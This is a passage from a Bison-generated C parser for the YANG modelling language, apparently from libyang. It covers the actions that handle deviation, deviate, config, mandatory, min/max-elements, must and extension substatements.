((yyvsp[-1].dev)->deviate_size) {\n tmp = realloc((yyvsp[-1].dev)->deviate, (yyvsp[-1].dev)->deviate_size * sizeof *(yyvsp[-1].dev)->deviate);\n if (!tmp) {\n LOGINT(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].dev)->deviate = tmp;\n } else {\n LOGVAL(trg->ctx, LYE_MISSCHILDSTMT, LY_VLOG_NONE, NULL, \"deviate\", \"deviation\");\n YYABORT;\n }\n actual_type = (yyvsp[-4].backup_token).token;\n actual = (yyvsp[-4].backup_token).actual;\n }\n\n break;\n\n case 469:\n\n { (yyval.dev) = actual; }\n\n break;\n\n case 470:\n\n { if (yang_read_description(trg, (yyvsp[-1].dev), s, \"deviation\", NODE)) {\n YYABORT;\n }\n s = NULL;\n (yyval.dev) = (yyvsp[-1].dev);\n }\n\n break;\n\n case 471:\n\n { if (yang_read_reference(trg, (yyvsp[-1].dev), s, \"deviation\", NODE)) {\n YYABORT;\n }\n s = NULL;\n (yyval.dev) = (yyvsp[-1].dev);\n }\n\n break;\n\n case 477:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_deviate_unsupported(trg->ctx, actual))) {\n YYABORT;\n }\n actual_type = NOT_SUPPORTED_KEYWORD;\n }\n\n break;\n\n case 478:\n\n { actual_type = (yyvsp[-2].backup_token).token;\n actual = (yyvsp[-2].backup_token).actual;\n }\n\n break;\n\n case 484:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_deviate(trg->ctx, actual, LY_DEVIATE_ADD))) {\n YYABORT;\n }\n actual_type = ADD_KEYWORD;\n }\n\n break;\n\n case 485:\n\n { actual_type = (yyvsp[-2].backup_token).token;\n actual = (yyvsp[-2].backup_token).actual;\n }\n\n break;\n\n case 487:\n\n { void *tmp;\n\n if ((yyvsp[-1].deviate)->must_size) {\n tmp = realloc((yyvsp[-1].deviate)->must, (yyvsp[-1].deviate)->must_size * sizeof *(yyvsp[-1].deviate)->must);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].deviate)->must = tmp;\n }\n\n if ((yyvsp[-1].deviate)->unique_size) {\n tmp = realloc((yyvsp[-1].deviate)->unique, (yyvsp[-1].deviate)->unique_size * sizeof *(yyvsp[-1].deviate)->unique);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].deviate)->unique = tmp;\n }\n\n if ((yyvsp[-1].deviate)->dflt_size) {\n tmp = realloc((yyvsp[-1].deviate)->dflt, (yyvsp[-1].deviate)->dflt_size * sizeof *(yyvsp[-1].deviate)->dflt);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].deviate)->dflt = tmp;\n }\n }\n\n break;\n\n case 488:\n\n { (yyval.deviate) = actual; }\n\n break;\n\n case 489:\n\n { if (yang_read_units(trg, actual, s, ADD_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 491:\n\n { YANG_ADDELEM((yyvsp[-1].deviate)->unique, (yyvsp[-1].deviate)->unique_size, \"uniques\");\n ((struct lys_unique *)actual)->expr = (const char **)s;\n s = NULL;\n actual = (yyvsp[-1].deviate);\n (yyval.deviate)= (yyvsp[-1].deviate);\n }\n\n break;\n\n case 492:\n\n { YANG_ADDELEM((yyvsp[-1].deviate)->dflt, (yyvsp[-1].deviate)->dflt_size, \"defaults\");\n *((const char **)actual) = lydict_insert_zc(trg->ctx, s);\n s = NULL;\n actual = (yyvsp[-1].deviate);\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 493:\n\n { if ((yyvsp[-1].deviate)->flags & LYS_CONFIG_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"config\", \"deviate\");\n YYABORT;\n }\n (yyvsp[-1].deviate)->flags = (yyvsp[0].i);\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 494:\n\n { if ((yyvsp[-1].deviate)->flags & LYS_MAND_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"mandatory\", \"deviate\");\n YYABORT;\n }\n (yyvsp[-1].deviate)->flags = (yyvsp[0].i);\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 495:\n\n { if ((yyvsp[-1].deviate)->min_set) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"min-elements\", \"deviation\");\n YYABORT;\n }\n (yyvsp[-1].deviate)->min = (yyvsp[0].uint);\n (yyvsp[-1].deviate)->min_set = 1;\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 496:\n\n { if ((yyvsp[-1].deviate)->max_set) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"max-elements\", \"deviation\");\n YYABORT;\n }\n (yyvsp[-1].deviate)->max = (yyvsp[0].uint);\n (yyvsp[-1].deviate)->max_set = 1;\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 497:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_deviate(trg->ctx, actual, LY_DEVIATE_DEL))) {\n YYABORT;\n }\n actual_type = DELETE_KEYWORD;\n }\n\n break;\n\n case 498:\n\n { actual_type = (yyvsp[-2].backup_token).token;\n actual = (yyvsp[-2].backup_token).actual;\n }\n\n break;\n\n case 500:\n\n { void *tmp;\n\n if ((yyvsp[-1].deviate)->must_size) {\n tmp = realloc((yyvsp[-1].deviate)->must, (yyvsp[-1].deviate)->must_size * sizeof *(yyvsp[-1].deviate)->must);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].deviate)->must = tmp;\n }\n\n if ((yyvsp[-1].deviate)->unique_size) {\n tmp = realloc((yyvsp[-1].deviate)->unique, (yyvsp[-1].deviate)->unique_size * sizeof *(yyvsp[-1].deviate)->unique);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].deviate)->unique = tmp;\n }\n\n if ((yyvsp[-1].deviate)->dflt_size) {\n tmp = realloc((yyvsp[-1].deviate)->dflt, (yyvsp[-1].deviate)->dflt_size * sizeof *(yyvsp[-1].deviate)->dflt);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].deviate)->dflt = tmp;\n }\n }\n\n break;\n\n case 501:\n\n { (yyval.deviate) = actual; }\n\n break;\n\n case 502:\n\n { if (yang_read_units(trg, actual, s, DELETE_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 504:\n\n { YANG_ADDELEM((yyvsp[-1].deviate)->unique, (yyvsp[-1].deviate)->unique_size, \"uniques\");\n ((struct lys_unique *)actual)->expr = (const char **)s;\n s = NULL;\n actual = (yyvsp[-1].deviate);\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 505:\n\n { YANG_ADDELEM((yyvsp[-1].deviate)->dflt, (yyvsp[-1].deviate)->dflt_size, \"defaults\");\n *((const char **)actual) = lydict_insert_zc(trg->ctx, s);\n s = NULL;\n actual = (yyvsp[-1].deviate);\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 506:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_deviate(trg->ctx, actual, LY_DEVIATE_RPL))) {\n YYABORT;\n }\n actual_type = REPLACE_KEYWORD;\n }\n\n break;\n\n case 507:\n\n { actual_type = (yyvsp[-2].backup_token).token;\n actual = (yyvsp[-2].backup_token).actual;\n }\n\n break;\n\n case 509:\n\n { void *tmp;\n\n if ((yyvsp[-1].deviate)->dflt_size) {\n tmp = realloc((yyvsp[-1].deviate)->dflt, (yyvsp[-1].deviate)->dflt_size * sizeof *(yyvsp[-1].deviate)->dflt);\n if (!tmp) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyvsp[-1].deviate)->dflt = tmp;\n }\n }\n\n break;\n\n case 510:\n\n { (yyval.deviate) = actual; }\n\n break;\n\n case 512:\n\n { if (yang_read_units(trg, actual, s, DELETE_KEYWORD)) {\n YYABORT;\n }\n s = NULL;\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 513:\n\n { YANG_ADDELEM((yyvsp[-1].deviate)->dflt, (yyvsp[-1].deviate)->dflt_size, \"defaults\");\n *((const char **)actual) = lydict_insert_zc(trg->ctx, s);\n s = NULL;\n actual = (yyvsp[-1].deviate);\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 514:\n\n { if ((yyvsp[-1].deviate)->flags & LYS_CONFIG_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"config\", \"deviate\");\n YYABORT;\n }\n (yyvsp[-1].deviate)->flags = (yyvsp[0].i);\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 515:\n\n { if ((yyvsp[-1].deviate)->flags & LYS_MAND_MASK) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"mandatory\", \"deviate\");\n YYABORT;\n }\n (yyvsp[-1].deviate)->flags = (yyvsp[0].i);\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 516:\n\n { if ((yyvsp[-1].deviate)->min_set) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"min-elements\", \"deviation\");\n YYABORT;\n }\n (yyvsp[-1].deviate)->min = (yyvsp[0].uint);\n (yyvsp[-1].deviate)->min_set = 1;\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 517:\n\n { if ((yyvsp[-1].deviate)->max_set) {\n LOGVAL(trg->ctx, LYE_TOOMANY, LY_VLOG_NONE, NULL, \"max-elements\", \"deviation\");\n YYABORT;\n }\n (yyvsp[-1].deviate)->max = (yyvsp[0].uint);\n (yyvsp[-1].deviate)->max_set = 1;\n (yyval.deviate) = (yyvsp[-1].deviate);\n }\n\n break;\n\n case 518:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_when(trg, actual, actual_type, s))) {\n YYABORT;\n }\n s = NULL;\n actual_type = WHEN_KEYWORD;\n }\n\n break;\n\n case 519:\n\n { actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 523:\n\n { if (yang_read_description(trg, actual, s, \"when\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 524:\n\n { if (yang_read_reference(trg, actual, s, \"when\", NODE)) {\n YYABORT;\n }\n s = NULL;\n }\n\n break;\n\n case 525:\n\n { (yyval.i) = (yyvsp[0].i);\n backup_type = actual_type;\n actual_type = CONFIG_KEYWORD;\n }\n\n break;\n\n case 526:\n\n { (yyval.i) = (yyvsp[-1].i); }\n\n break;\n\n case 527:\n\n { (yyval.i) = LYS_CONFIG_W | LYS_CONFIG_SET; }\n\n break;\n\n case 528:\n\n { (yyval.i) = LYS_CONFIG_R | LYS_CONFIG_SET; }\n\n break;\n\n case 529:\n\n { if (!strcmp(s, \"true\")) {\n (yyval.i) = LYS_CONFIG_W | LYS_CONFIG_SET;\n } else if (!strcmp(s, \"false\")) {\n (yyval.i) = LYS_CONFIG_R | LYS_CONFIG_SET;\n } else {\n LOGVAL(trg->ctx, LYE_INARG, LY_VLOG_NONE, NULL, s, \"config\");\n free(s);\n YYABORT;\n }\n free(s);\n s = NULL;\n }\n\n break;\n\n case 530:\n\n { (yyval.i) = (yyvsp[0].i);\n backup_type = actual_type;\n actual_type = MANDATORY_KEYWORD;\n }\n\n break;\n\n case 531:\n\n { (yyval.i) = (yyvsp[-1].i); }\n\n break;\n\n case 532:\n\n { (yyval.i) = LYS_MAND_TRUE; }\n\n break;\n\n case 533:\n\n { (yyval.i) = LYS_MAND_FALSE; }\n\n break;\n\n case 534:\n\n { if (!strcmp(s, \"true\")) {\n (yyval.i) = LYS_MAND_TRUE;\n } else if (!strcmp(s, \"false\")) {\n (yyval.i) = LYS_MAND_FALSE;\n } else {\n LOGVAL(trg->ctx, LYE_INARG, LY_VLOG_NONE, NULL, s, \"mandatory\");\n free(s);\n YYABORT;\n }\n free(s);\n s = NULL;\n }\n\n break;\n\n case 535:\n\n { backup_type = actual_type;\n actual_type = PRESENCE_KEYWORD;\n }\n\n break;\n\n case 537:\n\n { (yyval.uint) = (yyvsp[0].uint);\n backup_type = actual_type;\n actual_type = MIN_ELEMENTS_KEYWORD;\n }\n\n break;\n\n case 538:\n\n { (yyval.uint) = (yyvsp[-1].uint); }\n\n break;\n\n case 539:\n\n { (yyval.uint) = (yyvsp[-1].uint); }\n\n break;\n\n case 540:\n\n { if (strlen(s) == 1 && s[0] == '0') {\n (yyval.uint) = 0;\n } else {\n /* convert it to uint32_t */\n uint64_t val;\n char *endptr = NULL;\n errno = 0;\n\n val = strtoul(s, &endptr, 10);\n if (*endptr || s[0] == '-' || errno || val > UINT32_MAX) {\n LOGVAL(trg->ctx, LYE_INARG, LY_VLOG_NONE, NULL, s, \"min-elements\");\n free(s);\n YYABORT;\n }\n (yyval.uint) = (uint32_t) val;\n }\n free(s);\n s = NULL;\n }\n\n break;\n\n case 541:\n\n { (yyval.uint) = (yyvsp[0].uint);\n backup_type = actual_type;\n actual_type = MAX_ELEMENTS_KEYWORD;\n }\n\n break;\n\n case 542:\n\n { (yyval.uint) = (yyvsp[-1].uint); }\n\n break;\n\n case 543:\n\n { (yyval.uint) = 0; }\n\n break;\n\n case 544:\n\n { (yyval.uint) = (yyvsp[-1].uint); }\n\n break;\n\n case 545:\n\n { if (!strcmp(s, \"unbounded\")) {\n (yyval.uint) = 0;\n } else {\n /* convert it to uint32_t */\n uint64_t val;\n char *endptr = NULL;\n errno = 0;\n\n val = strtoul(s, &endptr, 10);\n if (*endptr || s[0] == '-' || errno || val == 0 || val > UINT32_MAX) {\n LOGVAL(trg->ctx, LYE_INARG, LY_VLOG_NONE, NULL, s, \"max-elements\");\n free(s);\n YYABORT;\n }\n (yyval.uint) = (uint32_t) val;\n }\n free(s);\n s = NULL;\n }\n\n break;\n\n case 546:\n\n { (yyval.i) = (yyvsp[0].i);\n backup_type = actual_type;\n actual_type = ORDERED_BY_KEYWORD;\n }\n\n break;\n\n case 547:\n\n { (yyval.i) = (yyvsp[-1].i); }\n\n break;\n\n case 548:\n\n { (yyval.i) = LYS_USERORDERED; }\n\n break;\n\n case 549:\n\n { (yyval.i) = LYS_SYSTEMORDERED; }\n\n break;\n\n case 550:\n\n { if (!strcmp(s, \"user\")) {\n (yyval.i) = LYS_USERORDERED;\n } else if (!strcmp(s, \"system\")) {\n (yyval.i) = LYS_SYSTEMORDERED;\n } else {\n free(s);\n YYABORT;\n }\n free(s);\n s=NULL;\n }\n\n break;\n\n case 551:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n switch (actual_type) {\n case CONTAINER_KEYWORD:\n YANG_ADDELEM(((struct lys_node_container *)actual)->must,\n ((struct lys_node_container *)actual)->must_size, \"musts\");\n break;\n case ANYDATA_KEYWORD:\n case ANYXML_KEYWORD:\n YANG_ADDELEM(((struct lys_node_anydata *)actual)->must,\n ((struct lys_node_anydata *)actual)->must_size, \"musts\");\n break;\n case LEAF_KEYWORD:\n YANG_ADDELEM(((struct lys_node_leaf *)actual)->must,\n ((struct lys_node_leaf *)actual)->must_size, \"musts\");\n break;\n case LEAF_LIST_KEYWORD:\n YANG_ADDELEM(((struct lys_node_leaflist *)actual)->must,\n ((struct lys_node_leaflist *)actual)->must_size, \"musts\");\n break;\n case LIST_KEYWORD:\n YANG_ADDELEM(((struct lys_node_list *)actual)->must,\n ((struct lys_node_list *)actual)->must_size, \"musts\");\n break;\n case REFINE_KEYWORD:\n YANG_ADDELEM(((struct lys_refine *)actual)->must,\n ((struct lys_refine *)actual)->must_size, \"musts\");\n break;\n case ADD_KEYWORD:\n case DELETE_KEYWORD:\n YANG_ADDELEM(((struct lys_deviate *)actual)->must,\n ((struct lys_deviate *)actual)->must_size, \"musts\");\n break;\n case NOTIFICATION_KEYWORD:\n if (trg->version < 2) {\n free(s);\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_LYS, actual, \"must\");\n YYABORT;\n }\n YANG_ADDELEM(((struct lys_node_notif *)actual)->must,\n ((struct lys_node_notif *)actual)->must_size, \"musts\");\n break;\n case INPUT_KEYWORD:\n case OUTPUT_KEYWORD:\n if (trg->version < 2) {\n free(s);\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_LYS, actual, \"must\");\n YYABORT;\n }\n YANG_ADDELEM(((struct lys_node_inout *)actual)->must,\n ((struct lys_node_inout *)actual)->must_size, \"musts\");\n break;\n case EXTENSION_INSTANCE:\n /* must is already allocated */\n break;\n default:\n free(s);\n LOGINT(trg->ctx);\n YYABORT;\n }\n ((struct lys_restr *)actual)->expr = transform_schema2json(trg, s);\n free(s);\n if (!((struct lys_restr *)actual)->expr) {\n YYABORT;\n }\n s = NULL;\n actual_type = MUST_KEYWORD;\n }\n\n break;\n\n case 552:\n\n { actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 555:\n\n { backup_type = actual_type;\n actual_type = UNIQUE_KEYWORD;\n }\n\n break;\n\n case 559:\n\n { backup_type = actual_type;\n actual_type = KEY_KEYWORD;\n }\n\n break;\n\n case 561:\n\n { s = strdup(yyget_text(scanner));\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n }\n\n break;\n\n case 564:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_range(trg->ctx, actual, s, is_ext_instance))) {\n YYABORT;\n }\n actual_type = RANGE_KEYWORD;\n s = NULL;\n }\n\n break;\n\n case 565:\n\n { if (s) {\n s = ly_realloc(s,strlen(s) + yyget_leng(scanner) + 2);\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n strcat(s,\"/\");\n strcat(s, yyget_text(scanner));\n } else {\n s = malloc(yyget_leng(scanner) + 2);\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n s[0]='/';\n memcpy(s + 1, yyget_text(scanner), yyget_leng(scanner) + 1);\n }\n }\n\n break;\n\n case 569:\n\n { if (s) {\n s = ly_realloc(s,strlen(s) + yyget_leng(scanner) + 1);\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n strcat(s, yyget_text(scanner));\n } else {\n s = strdup(yyget_text(scanner));\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n }\n }\n\n break;\n\n case 571:\n\n { tmp_s = yyget_text(scanner); }\n\n break;\n\n case 572:\n\n { s = strdup(tmp_s);\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n s[strlen(s) - 1] = '\\0';\n }\n\n break;\n\n case 573:\n\n { tmp_s = yyget_text(scanner); }\n\n break;\n\n case 574:\n\n { s = strdup(tmp_s);\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n s[strlen(s) - 1] = '\\0';\n }\n\n break;\n\n case 598:\n\n { /* convert it to uint32_t */\n unsigned long val;\n\n val = strtoul(yyget_text(scanner), NULL, 10);\n if (val > UINT32_MAX) {\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL, \"Converted number is very long.\");\n YYABORT;\n }\n (yyval.uint) = (uint32_t) val;\n }\n\n break;\n\n case 599:\n\n { (yyval.uint) = 0; }\n\n break;\n\n case 600:\n\n { (yyval.uint) = (yyvsp[0].uint); }\n\n break;\n\n case 601:\n\n { (yyval.i) = 0; }\n\n break;\n\n case 602:\n\n { /* convert it to int32_t */\n int64_t val;\n\n val = strtoll(yyget_text(scanner), NULL, 10);\n if (val < INT32_MIN || val > INT32_MAX) {\n LOGVAL(trg->ctx, LYE_SPEC, LY_VLOG_NONE, NULL,\n \"The number is not in the correct range (INT32_MIN..INT32_MAX): \\\"%d\\\"\",val);\n YYABORT;\n }\n (yyval.i) = (int32_t) val;\n }\n\n break;\n\n case 608:\n\n { if (lyp_check_identifier(trg->ctx, s, LY_IDENT_SIMPLE, trg, NULL)) {\n free(s);\n YYABORT;\n }\n }\n\n break;\n\n case 613:\n\n { char *tmp;\n\n if ((tmp = strchr(s, ':'))) {\n *tmp = '\\0';\n /* check prefix */\n if (lyp_check_identifier(trg->ctx, s, LY_IDENT_SIMPLE, trg, NULL)) {\n free(s);\n YYABORT;\n }\n /* check identifier */\n if (lyp_check_identifier(trg->ctx, tmp + 1, LY_IDENT_SIMPLE, trg, NULL)) {\n free(s);\n YYABORT;\n }\n *tmp = ':';\n } else {\n /* check identifier */\n if (lyp_check_identifier(trg->ctx, s, LY_IDENT_SIMPLE, trg, NULL)) {\n free(s);\n YYABORT;\n }\n }\n }\n\n break;\n\n case 614:\n\n { s = (yyvsp[-1].str); }\n\n break;\n\n case 615:\n\n { s = (yyvsp[-3].str); }\n\n break;\n\n case 616:\n\n { actual_type = backup_type;\n backup_type = NODE;\n (yyval.str) = s;\n s = NULL;\n }\n\n break;\n\n case 617:\n\n { actual_type = backup_type;\n backup_type = NODE;\n }\n\n break;\n\n case 618:\n\n { (yyval.str) = s;\n s = NULL;\n }\n\n break;\n\n case 622:\n\n { actual_type = (yyvsp[-1].backup_token).token;\n actual = (yyvsp[-1].backup_token).actual;\n }\n\n break;\n\n case 623:\n\n { (yyval.backup_token).token = actual_type;\n (yyval.backup_token).actual = actual;\n if (!(actual = yang_read_ext(trg, (actual) ? actual : trg, (yyvsp[-1].str), s,\n actual_type, backup_type, is_ext_instance))) {\n YYABORT;\n }\n s = NULL;\n actual_type = EXTENSION_INSTANCE;\n }\n\n break;\n\n case 624:\n\n { (yyval.str) = s; s = NULL; }\n\n break;\n\n case 639:\n\n { struct yang_ext_substmt *substmt = ((struct lys_ext_instance *)actual)->parent;\n int32_t length = 0, old_length = 0;\n char *tmp_value;\n\n if (!substmt) {\n substmt = calloc(1, sizeof *substmt);\n if (!substmt) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n ((struct lys_ext_instance *)actual)->parent = substmt;\n }\n length = strlen((yyvsp[-2].str));\n old_length = (substmt->ext_substmt) ? strlen(substmt->ext_substmt) + 2 : 2;\n tmp_value = realloc(substmt->ext_substmt, old_length + length + 1);\n if (!tmp_value) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n substmt->ext_substmt = tmp_value;\n tmp_value += old_length - 2;\n memcpy(tmp_value, (yyvsp[-2].str), length);\n tmp_value[length] = ' ';\n tmp_value[length + 1] = '\\0';\n tmp_value[length + 2] = '\\0';\n }\n\n break;\n\n case 640:\n\n { struct yang_ext_substmt *substmt = ((struct lys_ext_instance *)actual)->parent;\n int32_t length;\n char *tmp_value, **array;\n int i = 0;\n\n if (!substmt) {\n substmt = calloc(1, sizeof *substmt);\n if (!substmt) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n ((struct lys_ext_instance *)actual)->parent = substmt;\n }\n length = strlen((yyvsp[-2].str));\n if (!substmt->ext_modules) {\n array = malloc(2 * sizeof *substmt->ext_modules);\n } else {\n for (i = 0; substmt->ext_modules[i]; ++i);\n array = realloc(substmt->ext_modules, (i + 2) * sizeof *substmt->ext_modules);\n }\n if (!array) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n substmt->ext_modules = array;\n array[i + 1] = NULL;\n tmp_value = malloc(length + 2);\n if (!tmp_value) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n array[i] = tmp_value;\n memcpy(tmp_value, (yyvsp[-2].str), length);\n tmp_value[length] = '\\0';\n tmp_value[length + 1] = '\\0';\n }\n\n break;\n\n case 643:\n\n { (yyval.str) = yyget_text(scanner); }\n\n break;\n\n case 644:\n\n { (yyval.str) = yyget_text(scanner); }\n\n break;\n\n case 656:\n\n { s = strdup(yyget_text(scanner));\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n }\n\n break;\n\n case 749:\n\n { s = strdup(yyget_text(scanner));\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n }\n\n break;\n\n case 750:\n\n { s = strdup(yyget_text(scanner));\n if (!s) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n }\n\n break;\n\n case 751:\n\n { struct lys_type **type;\n\n type = (struct lys_type **)yang_getplace_for_extcomplex_struct(ext_instance, NULL, ext_name,\n \"type\", LY_STMT_TYPE);\n if (!type) {\n YYABORT;\n }\n /* allocate type structure */\n (*type) = calloc(1, sizeof **type);\n if (!*type) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n\n /* HACK for unres */\n (*type)->parent = (struct lys_tpdf *)ext_instance;\n (yyval.v) = actual = *type;\n is_ext_instance = 0;\n }\n\n break;\n\n case 752:\n\n { struct lys_tpdf **tpdf;\n\n tpdf = (struct lys_tpdf **)yang_getplace_for_extcomplex_struct(ext_instance, NULL, ext_name,\n \"typedef\", LY_STMT_TYPEDEF);\n if (!tpdf) {\n YYABORT;\n }\n /* allocate typedef structure */\n (*tpdf) = calloc(1, sizeof **tpdf);\n if (!*tpdf) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n\n (yyval.v) = actual = *tpdf;\n is_ext_instance = 0;\n }\n\n break;\n\n case 753:\n\n { struct lys_iffeature **iffeature;\n\n iffeature = (struct lys_iffeature **)yang_getplace_for_extcomplex_struct(ext_instance, NULL, ext_name,\n \"if-feature\", LY_STMT_IFFEATURE);\n if (!iffeature) {\n YYABORT;\n }\n /* allocate typedef structure */\n (*iffeature) = calloc(1, sizeof **iffeature);\n if (!*iffeature) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyval.v) = actual = *iffeature;\n }\n\n break;\n\n case 754:\n\n { struct lys_restr **restr;\n LY_STMT stmt;\n\n s = yyget_text(scanner);\n if (!strcmp(s, \"must\")) {\n stmt = LY_STMT_MUST;\n } else if (!strcmp(s, \"pattern\")) {\n stmt = LY_STMT_PATTERN;\n } else if (!strcmp(s, \"range\")) {\n stmt = LY_STMT_RANGE;\n } else {\n stmt = LY_STMT_LENGTH;\n }\n restr = (struct lys_restr **)yang_getplace_for_extcomplex_struct(ext_instance, NULL, ext_name, s, stmt);\n if (!restr) {\n YYABORT;\n }\n /* allocate structure for must */\n (*restr) = calloc(1, sizeof(struct lys_restr));\n if (!*restr) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n (yyval.v) = actual = *restr;\n s = NULL;\n }\n\n break;\n\n case 755:\n\n { actual = yang_getplace_for_extcomplex_struct(ext_instance, NULL, ext_name, \"when\", LY_STMT_WHEN);\n if (!actual) {\n YYABORT;\n }\n (yyval.v) = actual;\n }\n\n break;\n\n case 756:\n\n { struct lys_revision **rev;\n int i;\n\n rev = (struct lys_revision **)yang_getplace_for_extcomplex_struct(ext_instance, &i, ext_name,\n \"revision\", LY_STMT_REVISION);\n if (!rev) {\n YYABORT;\n }\n rev[i] = calloc(1, sizeof **rev);\n if (!rev[i]) {\n LOGMEM(trg->ctx);\n YYABORT;\n }\n actual = rev[i];\n (yyval.revisions).revision = rev;\n (yyval.revisions).index = i;\n }\n\n break;\n\n case 757:\n\n { LY_STMT stmt;\n\n s = yyget_text(scanner);\n if (!strcmp(s, \"action\")) {\n stmt = LY_STMT_ACTION;\n } else if (!strcmp(s, \"anydata\")) {\n stmt = LY_STMT_ANYDATA;\n } else if (!strcmp(s, \"anyxml\")) {\n stmt = LY_STMT_ANYXML;\n } else if (!strcmp(s, \"case\")) {\n stmt = LY_STMT_CASE;\n } else if (!strcmp(s, \"choice\")) {\n stmt = LY_STMT_CHOICE;\n } else if (!strcmp(s, \"container\")) {\n stmt = LY_STMT_CONTAINER;\n } else if (!strcmp(s, \"grouping\")) {\n stmt = LY_STMT_GROUPING;\n } else if (!strcmp(s, \"input\")) {\n stmt = LY_STMT_INPUT;\n } else if (!strcmp(s, \"leaf\")) {\n stmt = LY_STMT_LEAF;\n } else if (!strcmp(s, \"leaf-list\")) {\n stmt = LY_STMT_LEAFLIST;\n } else if (!strcmp(s, \"list\")) {\n stmt = LY_STMT_LIST;\n } else if (!strcmp(s, \"notification\")) {\n stmt = LY_STMT_NOTIFICATION;\n } else if (!strcmp(s, \"output\")) {\n stmt = LY_STMT_OUTPUT;\n } else {\n stmt = LY_STMT_USES;\n }\n if (yang_extcomplex_node(ext_instance, ext_name, s, *param->node, stmt)) {\n YYABORT;\n }\n actual = NULL;\n s = NULL;\n is_ext_instance = 0;\n }\n\n break;\n\n case 758:\n\n { LOGERR(trg->ctx, ly_errno, \"Extension's substatement \\\"%s\\\" not supported.\", yyget_text(scanner)); }\n\n break;\n\n case 790:\n\n { actual_type = EXTENSION_INSTANCE;\n actual = ext_instance;\n if (!is_ext_instance) {\n LOGVAL(trg->ctx, LYE_INSTMT, LY_VLOG_NONE, NULL, yyget_text(scanner));\n YYABORT;\n }\n (yyval.i) = 0;\n }\n\n break;\n\n case 792:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"prefix\", ext_name, s,\n 0, LY_STMT_PREFIX)) {\n YYABORT;\n }\n }\n\n break;\n\n case 793:\n\n { if (yang_read_extcomplex_str(trg, ext_instance, \"description\", ext_name, s,\n 0, LY_STMT_DESCRIPTION)) {\n YYABORT;\n }\n 